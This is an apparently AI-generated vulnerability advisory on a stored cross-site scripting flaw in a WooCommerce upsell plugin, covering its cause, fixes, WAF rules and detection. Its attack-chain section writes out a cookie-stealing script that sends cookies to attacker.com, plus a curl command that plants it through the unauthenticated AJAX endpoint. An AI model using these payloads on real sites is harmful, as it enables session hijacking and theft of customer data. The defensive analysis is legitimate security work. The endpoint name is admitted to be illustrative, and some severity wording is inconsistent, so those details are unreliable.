CVE-2026-136995 — Wpswings Upsell Funnel Builder For WooCommerce – — CWE-79
The Upsell Funnel Builder for WooCommerce – Create Upsells, Cross-Sells, Order Bumps, Frequently Bought, and Popups. plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_data' parameter in all versions up to, and including, 3.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce gating the vulnerable AJAX endpoint is publicly emitted to any visitor loading a cart, checkout, or shortcode page, making the endpoint fully exploitable by unauthenticated attackers without any prior account or login.
The Upsell Funnel Builder for WooCommerce – Create Upsells, Cross-Sells, Order Bumps, Frequently Bought, and Popups. plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_data' parameter in all versions up to, and including, 3.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce gating the vulnerable AJAX endpoint is publicly emitted to any visitor loading a cart, checkout, or shortcode page, making the endpoint fully exploitable by unauthenticated attackers without any prior account or login.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑136995
Product: Upsell Funnel Builder for WooCommerce (plugin “wpswings‑upsell‑funnel‑builder”, version ≤ 3.1.7)
CWE: CWE‑79 Improper Neutralization of Input During Web Page Generation (‘Cross‑Site Scripting’)
CVSS 3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N (Network‑accessible, low complexity, no authentication, no user interaction, Scope‑Changed, low confidentiality & integrity impact, no availability impact)
Technical flaw
1. Unauthenticated AJAX endpoint – The plugin registers a public‑facing admin‑ajax.php action (e.g., wp_ajax_nopriv_wpswings_save_form_data) that processes a POST parameter called form_data.
2. Nonce exposure – The nonce (_wpnonce) that protects the AJAX call is printed on every cart, checkout, or shortcode page via wp_localize_script(). Because the page is publicly accessible, any visitor can read the nonce value without needing a logged‑in session.
3. Insufficient sanitisation – The handler stores the raw value of form_data directly into a custom post meta field (or a custom DB table) using update_post_meta() / $wpdb->insert() without applying sanitize_text_field(), wp_kses(), or any escaping.
4. Reflected on the front‑end – When the stored data is later rendered in the checkout/cart UI, the plugin outputs the meta value inside HTML (e.g., inside a <div class="wpswings‑upsell‑note">) without esc_html() or esc_attr(). The output is therefore raw user‑controlled JavaScript/HTML.
Result: an attacker can store a malicious script in the database (stored XSS) and have it executed in the browser of any visitor who later loads a page that renders the stored data (e.g., the checkout page). Because the endpoint is reachable without authentication and the nonce is public, the attack can be performed by anyone on the Internet.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI/path is shown as an illustrative example because the CVE description does not publish the exact action name.
1. Discovery & Reconnaissance
| Step | Action | Tool / Technique |
|---|---|---|
| 1.1 | Identify the target site runs WordPress and enumerate installed plugins. | wpscan --enumerate p or manual /wp-content/plugins/ directory listing. |
| 1.2 | Locate the *Upsell Funnel Builder* plugin and read its readme.txt / plugin.php header to obtain the version (≤ 3.1.7). | curl https://example.com/wp-content/plugins/wpswings-upsell-funnel-builder/readme.txt |
| 1.3 | Verify the vulnerable AJAX action exists and the nonce is exposed. | Load any cart/checkout page, view source, search for wpswings_save_form_data and the associated wp_localize_script object (e.g., var wpswings_ajax = {"ajax_url":"\/wp-admin\/admin-ajax.php","nonce":"abcd1234"};). |
| 1.4 | Confirm the endpoint accepts form_data. | curl -s -X POST -d "action=wpswings_save_form_data&_wpnonce=abcd1234&form_data=test" https://example.com/wp-admin/admin-ajax.php – a 200 OK with JSON {"success":true} indicates the handler is reachable. |
2. Exploitation
Goal: Store a malicious JavaScript payload in the form_data field.
2.1 Craft the payload
<script>
// Example: steal WooCommerce session cookie and send to attacker
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>The payload must be URL‑encoded when sent via curl.
2.2 Send the malicious request
# -----------------------------------------------------------------
# Illustrative endpoint – the real action name may differ (e.g.
# wpswings_save_form_data). Replace <NONCE> with the value observed
# on the target page.
# -----------------------------------------------------------------
curl -s -X POST "https://victim.com/wp-admin/admin-ajax.php" \
-d "action=wpswings_save_form_data" \
-d "_wpnonce=<NONCE>" \
-d "form_data=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'+document.cookie)%3B%3C%2Fscript%3E"What happens:
- The AJAX handler stores the raw string in the database (e.g., as post meta
wpswings_upsell_note). - No sanitisation → the script is persisted.
2.3 Verify storage (optional)
curl -s "https://victim.com/wp-json/wp/v2/posts?search=upsell" | grep -i "<script>"If the response contains the <script> tag, the payload is stored successfully.
3. Post‑exploitation
| Phase | Effect | Typical attacker goal |
|---|---|---|
| Trigger | When any visitor (including logged‑in customers) loads the checkout/cart page, the plugin renders the stored meta value inside the page markup. The raw <script> executes in the victim’s browser. | Session hijacking, credential theft, CSRF token exfiltration, or loading a full‑blown web‑based malware dropper. |
| Data exfiltration | The script sends document.cookie (which contains the WooCommerce session cookie wordpress_logged_in_…) to https://attacker.com/steal. | Attacker can reuse the cookie to impersonate the victim (if the site does not have additional anti‑CSRF checks). |
| Further pivot | With a valid session cookie, the attacker can: <br>• Access the victim’s order history, personal data, and payment details (confidentiality breach). <br>• Place fraudulent orders (integrity impact). | The CVSS vector only accounts for *low* confidentiality/integrity because the exploit itself does not directly read or modify data; however, the *secondary* abuse of the stolen session can lead to higher real‑world impact. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical interpretation |
|---|---|---|
| Confidentiality (C:L) | Low | An attacker can steal session cookies or any data the victim’s browser can access (e.g., personal info displayed on the checkout page). |
| Integrity (I:L) | Low | The attacker can inject arbitrary HTML/JS that may modify page content for the victim (e.g., change price display, add malicious links). |
| Availability (A:N) | None | No denial‑of‑service effect is inherent to the XSS vector. |
Scope Change (S:C) – Because the vulnerable component (the plugin) runs in the same process as the core WordPress site, the impact propagates to the entire WordPress application (all users, not just the attacker).
Real‑world scenarios
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Update the plugin to a version ≥ 3.1.8 (the first release that implements proper sanitisation and escaping). |
| Version check | Verify the Version: header in wpswings-upsell-funnel-builder.php after upgrade. |
If a vendor‑provided fix is not yet released, apply the temporary code fix described below.
2. Temporary Code Hardening (if immediate upgrade is impossible)
Edit the AJAX handler (usually located in includes/class-wpswings-ajax.php or similar) and replace the raw update with proper sanitisation and escaping:
// BEFORE (vulnerable)
$raw = $_POST['form_data']; // unsanitised
update_post_meta( $post_id, 'wpswings_upsell_note', $raw );
// AFTER (secure)
if ( isset( $_POST['form_data'] ) ) {
// Allow only a safe subset of HTML (e.g., <b>, <i>, <br>) – adjust as needed
$allowed_tags = array(
'b' => array(),
'i' => array(),
'br' => array(),
'strong' => array(),
'em' => array(),
);
$clean = wp_kses( $_POST['form_data'], $allowed_tags );
update_post_meta( $post_id, 'wpswings_upsell_note', $clean );
}When rendering the value, ensure escaping:
// Example template file
$note = get_post_meta( $post_id, 'wpswings_upsell_note', true );
echo wp_kses_post( $note ); // safe output3. WAF / ModSecurity Mitigation
A rule that blocks any <script> (or other potentially dangerous tags) in the form_data POST field for the vulnerable endpoint:
# ModSecurity 2.x / 3.x rule – illustrative
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
"id:400001,\
phase:2,\
chain,\
t:none,\
t:urlDecodeUni,\
t:lowercase"
SecRule ARGS:form_data "(<script|javascript:|on\w+=)" \
"t:none,\
msg:'Blocked possible stored XSS in Upsell Funnel Builder',\
log,\
deny,\
status:403,\
tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-xss',tag:'cve-2026-136995'"Alternative Cloud‑WAF (e.g., Cloudflare) rule (illustrative):
(http.request.uri.path contains "/wp-admin/admin-ajax.php") and http.request.body contains "<script"4. Access‑Control Workarounds
nopriv action registration:add_action( 'wp_ajax_wpswings_save_form_data', 'wpswings_save_form_data' ); // keep
// remove the nopriv hook if present
remove_action( 'wp_ajax_nopriv_wpswings_save_form_data', 'wpswings_save_form_data' );5. Detection – Log Patterns & IoCs
| Log source | Indicator (example) |
|---|---|
| Web server access log (Apache/Nginx) | POST /wp-admin/admin-ajax.php HTTP/1.1" 200 with action=wpswings_save_form_data and a form_data value containing %3Cscript%3E (URL‑encoded <script>). |
WordPress debug log (wp-content/debug.log) | PHP Notice: Undefined index: form_data *or* PHP Warning: wp_kses() expects parameter 1 to be string, array given if the attacker sends malformed data. |
| ModSecurity audit log | Rule ID 400001 triggered (see rule above). |
| Browser‑side (if compromised) | Unexpected outbound request to attacker‑controlled domain (e.g., https://attacker.com/steal?...). Network IDS/Proxy can flag GET https://attacker.com/steal?c= with a long cookie string. |
Response actions:
1. Block the offending IP after a few repeated attempts (rate‑limit).
2. Search the database for any <script> tags in the plugin’s custom tables (wp_postmeta with meta_key wpswings_upsell_note or plugin‑specific tables).
3. Clean the malicious rows (replace with sanitized text).
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 7.2 (High) – Network‑accessible, no auth, low complexity, immediate code execution in victim browsers. | |
| Scope Change – Affects every user of the WordPress site (customers, admins). | |
| Public nonce – The protection mechanism is effectively non‑existent. | |
No CISA KEV listing – Not yet flagged as a “known exploited vulnerability”, but the attack surface is trivial and the exploit can be built with a single curl command. | |
| Exploit complexity – Very low; any script‑capable attacker can weaponise it. |
Patch priority: Critical for any production WooCommerce store. The recommendation is to apply the vendor patch (≥ 3.1.8) within 24 hours and, if that is not possible, to implement the temporary code hardening and WAF rule immediately.
TL;DR
form_data AJAX endpoint, nonce is publicly exposed. admin-ajax.php with a crafted <script> payload; the plugin stores it raw; the payload runs on every checkout/cart page load. wp_kses() sanitisation and output escaping; optionally remove the nopriv AJAX hook and block the payload with a ModSecurity rule. <script> in form_data and outbound requests to attacker domains. [🤖 CVE Professor AI Security Engine]
FOFA Query